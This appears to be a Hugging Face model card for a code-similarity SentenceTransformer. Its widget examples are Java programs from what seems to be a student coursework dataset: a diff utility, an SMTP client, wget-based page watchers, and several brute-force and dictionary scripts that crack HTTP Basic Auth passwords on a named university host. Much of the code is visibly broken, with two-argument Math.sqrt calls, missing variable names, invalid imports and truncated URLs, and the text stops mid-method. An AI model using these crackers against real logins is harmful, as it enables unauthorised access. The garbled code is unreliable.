buelfhood's picture
Add new SentenceTransformer model
0d8de90 verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:30069
  - loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
  - source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n      outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script) {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n          Diff.change t, end;\n\n          \n          t = next;\n          end = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n          \n          \n\n          \n          print_hunk(t);\n\n          \n          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n    }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n    protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n      int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\n      for (next = hunk; next != null; next = next.next())\n        {\n          l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0 = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts = show_to;\n    }\n\n    \n    protected void print_header(String filea, String fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n    \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public static char change_letter(int inserts, int deletes) {\n      if (inserts == 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n      \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts, deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \", file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts, deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean inserting = true;\n          for (int i = first1; i <= last1; i++)\n            {\n              \n              if (! inserting)\n                outfile.println(i - first1 + first0 + \"a\");\n              inserting = true;\n\n              \n\n              if (\".\".equals(file1[i]))\n                {\n                  outfile.println(\"..\");\n                  outfile.println(\".\");\n                  \n                  outfile.println(i - first1 + first0 + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n                }\n              else\n                \n                print_1_line (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n            outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected void print_context_label (String cad, File inf, String label) {\n      if (label != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified() > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath() + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n        outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label (\"***\", new File(filea), filea);\n      print_context_label (\"---\", new File(fileb), fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int x) {\n      return null;\n    }\n\n    protected void print_function(Object[] file,int x) {\n      String function = find_function (file0, first0);\n      if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n          (function.length() < 40) ? function : function.substring(0,40)\n        );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n      print_number_range (',', first0, last0);\n      outfile.println(\" ****\");\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for (int i = first0; i <= last0; i++) {\n          \n\n          while (next != null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n          \n\n          String prefix = \" \";\n          if (next != null && next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"!\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\n          while (next != null && next.line1 + next.inserted <= i)\n            next = next.next;\n\n          \n\n          String prefix = \" \";\n          if (next != null && next.line1 <= i)\n            \n            prefix = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"@@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\");\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next == null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n          int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n          k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n          next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[] slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n        for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j)) {\n           case 'e':     \n            style = 'e'; break;\n            case 'c':     \n            style = 'c'; break;\n          case  'u':\n            style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n    Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b); break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p = new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n    }\n\treturn msg;\n  }\n}\n"
    sentences:
      - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream  = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"
      - |
        import java.net.*;
        import java.util.*;

        public class BruteForce {

           public static void main(String[] args) {
              new CrackAttempt();
           }
        }

        class CrackAttempt {
           public CrackAttempt() {
              final int MAX_LENGTH = 3;
              boolean auth = false;
              Date  = new Date();
              boolean morePasswords = true;
              int passPtr = 0;
              StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
              char[] password = new char[MAX_LENGTH];

              password[0] = validChars.charAt(0);
              while (!auth && morePasswords) {
                 String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
                 try {
                    
                    Authenticator.setDefault(new CrackAuth(password));
                    URL url = new URL(resource);
                    HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                    conn.setRequestMethod("HEAD");
                    if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                       System.out.println("cracked with " + new String(password));
                       auth = true;
                    }
                 } catch (Exception e) {
                    System.out.println(" was  exception: " + e.getMessage());
                 }
                 int count = passPtr;
                 while (true) {
                    if (password[count] == validChars.charAt(validChars.length() - 1)) {
                       password[count] = validChars.charAt(0);
                       count--;
                    } else {
                       password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
                       break;
                    }
                    if (count < 0) {
                       
                       if (passPtr < MAX_LENGTH - 1) {
                          passPtr++;
                          password[passPtr] = validChars.charAt(0);
                       } else {
                          morePasswords = false;
                       }
                       break;
                    }
                 }
                 
              } 
              if (!auth) {
                 System.out.println("Unable  determine password");
              } else {
                  time = (new Date()).getTime() - start.getTime();
                 System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
              }
           }
        }

        class CrackAuth extends Authenticator {
           char[] password;
           public CrackAuth(char[] password) {
              this.password = password;
           }

           protected PasswordAuthentication getPasswordAuthentication()
           {
              String user = "";
              return new PasswordAuthentication(user, password);
           }
        }
      - |-
        import java.util.*;
        import java.io.*;



        public class WatchDog {

          public WatchDog() {

          }
          public static void  main(String args[]) {
            DataInputStream newin;

            try{


              System.out.println("Downloading first copy");
              Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
              String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
              String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
              while(true){
                    Thread.sleep(24*60*60*1000);
                    System.out.println("Downloading new copy");
                    Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
                    Thread.sleep(2000);
                    Runtime.getRuntime().exec(cmdDiff);
                    Thread.sleep(2000);
                    newin = new DataInputStream( new FileInputStream( "Diff.txt"));
                    if (newin.readLine() != null){
                       System.out.println("Sending Mail");
                       Runtime.getRuntime().exec(cmdMail);
                       Runtime.getRuntime().exec("cp newfile.html oldfile.html");

                    }
                }

            }
            catch(Exception e){
              e.printStackTrace();
            }

            }

        }
  - source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n      outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script) {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n          Diff.change t, end;\n\n          \n          t = next;\n          end = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n          \n          \n\n          \n          print_hunk(t);\n\n          \n          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n    }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n    protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n      int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\n      for (next = hunk; next != null; next = next.next())\n        {\n          l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0 = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts = show_to;\n    }\n\n    \n    protected void print_header(String filea, String fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n    \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public static char change_letter(int inserts, int deletes) {\n      if (inserts == 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n      \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts, deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \", file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts, deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean inserting = true;\n          for (int i = first1; i <= last1; i++)\n            {\n              \n              if (! inserting)\n                outfile.println(i - first1 + first0 + \"a\");\n              inserting = true;\n\n              \n\n              if (\".\".equals(file1[i]))\n                {\n                  outfile.println(\"..\");\n                  outfile.println(\".\");\n                  \n                  outfile.println(i - first1 + first0 + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n                }\n              else\n                \n                print_1_line (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n            outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected void print_context_label (String cad, File inf, String label) {\n      if (label != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified() > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath() + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n        outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label (\"***\", new File(filea), filea);\n      print_context_label (\"---\", new File(fileb), fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int x) {\n      return null;\n    }\n\n    protected void print_function(Object[] file,int x) {\n      String function = find_function (file0, first0);\n      if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n          (function.length() < 40) ? function : function.substring(0,40)\n        );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n      print_number_range (',', first0, last0);\n      outfile.println(\" ****\");\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for (int i = first0; i <= last0; i++) {\n          \n\n          while (next != null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n          \n\n          String prefix = \" \";\n          if (next != null && next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"!\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\n          while (next != null && next.line1 + next.inserted <= i)\n            next = next.next;\n\n          \n\n          String prefix = \" \";\n          if (next != null && next.line1 <= i)\n            \n            prefix = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"@@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\");\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next == null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n          int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n          k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n          next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[] slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n        for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j)) {\n           case 'e':     \n            style = 'e'; break;\n            case 'c':     \n            style = 'c'; break;\n          case  'u':\n            style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n    Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b); break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p = new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n    }\n\treturn msg;\n  }\n}\n"
    sentences:
      - |-



        import java.misc.BASE64Encoder;
        import java.misc.BASE64Decoder;

        import java.io.*;
        import java.net.*;
        import java.util.*;


        public class BruteForce {
          
          static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
          
          private int indices[] = {0,0,0};
          
          private String url = null;

          
          public BruteForce(String url) {
            this.url = url;

          }
          
          private int attempts = 0;
          private boolean stopGen = false;
          
          public String getNextPassword(){
            String nextPassword = "";
            for(int i = 0; i <indices.length ; i++){
              if(indices[indices.length -1 ] == passwordDataSet.length)
                return null;
              if(indices[i] == passwordDataSet.length ){
                indices[i] = 0;
                indices[i+1]++;
              }
              nextPassword = passwordDataSet[indices[i]]+nextPassword;

              if(i == 0)
                indices[0]++;

            }
            return nextPassword;
          }
          
          public void setIndices(int size){
            this.indices = new int[size];
            for(int i = 0; i < size; i++)
              this.indices[i] = 0;
          }
          public void setPasswordDataSet(String newDataSet){
            this.passwordDataSet = newDataSet.toCharArray();
          }
          
          public String crackPassword(String user) throws IOException, MalformedURLException{
            URL url = null;
            URLConnection urlConnection = null;
            String outcome = null;
            String  authorization = null;
            String password = null;
            BASE64Encoder b64enc = new BASE64Encoder();
            InputStream content = null;
            BufferedReader in = null;
            String line;
                  int i = 0;
            while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
              url = new URL(this.url);
              urlConnection = url.openConnection();
              urlConnection.setDoInput(true);
              urlConnection.setDoOutput(true);


              urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
              urlConnection.setRequestProperty("Host", url.getHost());
              password = getNextPassword();
              if(password == null)
                return null;
              System.out.print(password);
              authorization = user + ":" + password;


              urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));


        outcome = urlConnection.getHeaderField(null); 



              this.attempts ++;
              urlConnection = null;
              url = null;

              if(this.attempts%51 == 0)
                for(int b = 0; b < 53;b++)
                  System.out.print("\b \b");
              else
                System.out.print("\b\b\b.");

            }
            return password;
          }
          
          public int getAttempts(){
            return this.attempts;
          }
          public static void main (String[] args) {
            if(args.length != 2){
              System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");
              System.exit(1);
            }

            BruteForce bruteForce1 = new BruteForce(args[0]);
            try{
              Calendar cal1=null, cal2=null;
              cal1 = Calendar.getInstance();
              System.out.println("Cracking started at: " + cal1.getTime().toString());
              String password = bruteForce1.crackPassword(args[1]);
              if(password != null)
                System.out.println("\nPassword is: "+password);
              else
                System.out.println("\nPassword could not  retrieved!");
              cal2 = Calendar.getInstance();
              System.out.println("Cracking finished at: " + cal2.getTime().toString());
              Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
              System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");
              System.out.println("Total attempts : "  + bruteForce1.getAttempts());

            }catch(MalformedURLException mue){
              mue.printStackTrace();
            }

            catch(IOException ioe){
              ioe.printStackTrace();
            }
          }
        }
      - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n{\t\n\n\tpublic static void main(String args[])\n\t{\n\n           Runtime rt1 = Runtime.getRuntime();\n\t   Process prss1= null;\n\n           try\n            {\n             prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/\");\n            }catch(java.io.IOException e){}\n\n\t   MyWatchDogTimer w = new MyWatchDogTimer();\n\t   Timer time = new Timer();\n\t   time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"
      - |
        package java.httputils;

        import java.io.BufferedReader;
        import java.io.FileNotFoundException;
        import java.io.FileReader;
        import java.io.IOException;
        import java.net.MalformedURLException;
        import java.sql.Timestamp;


        public class Dictionary extends BruteForce
        {
            protected String wordFile;

            public Dictionary()
            {
                super();
            }

            public static void main(String[] args)
            {
                Dictionary dictionary = new Dictionary();

                if (args.length < 3)
                {
                    System.out.println(dictionary.printUsage());
                }
                else
                {
                    dictionary.setURL(args[0]);
                    dictionary.setUserName(args[1]);
                    dictionary.setWordFile(args[2]);

                    if (args.length > 3)
                    {
                        dictionary.setFileName(args[3]);
                    }
                    dictionary.process();
                    System.out.println(dictionary.printResult());
                    System.exit(1);
                }
            }

            public void process()
            {
                attempts = 0;
                String password = "";
                
                setStart(new Timestamp(System.currentTimeMillis()));

                BufferedReader input = null;
                try
                {
                    FileReader file = new FileReader(getWordFile());
                    
                    input = new BufferedReader(file);
                    
                }
                catch (FileNotFoundException x)
                {
                    System.err.println("File not found: " + getWordFile());
                    System.exit(2);
                }

                try
                {
                    while ((password = input.readLine()) != null)
                    {
                        try
                        {
                            
                            attempts++;
                            BasicAuthHttpRequest req =
                                new BasicAuthHttpRequest(
                                    getURL(),
                                    getUserName(),
                                    password);
                            setPassword(password);
                            setEnd(new Timestamp(System.currentTimeMillis()));
                            setContent(req.getContent().toString());

                            
                            if (getFileName() != null
                                && getFileName().length() > 0)
                            {
                                createReport();
                            }
                            return;
                        }
                        catch (MalformedURLException e)
                        {
                            e.printStackTrace();
                            return;
                        }
                        catch (IOException e)
                        {

                        }
                    }
                }
                catch (IOException x)
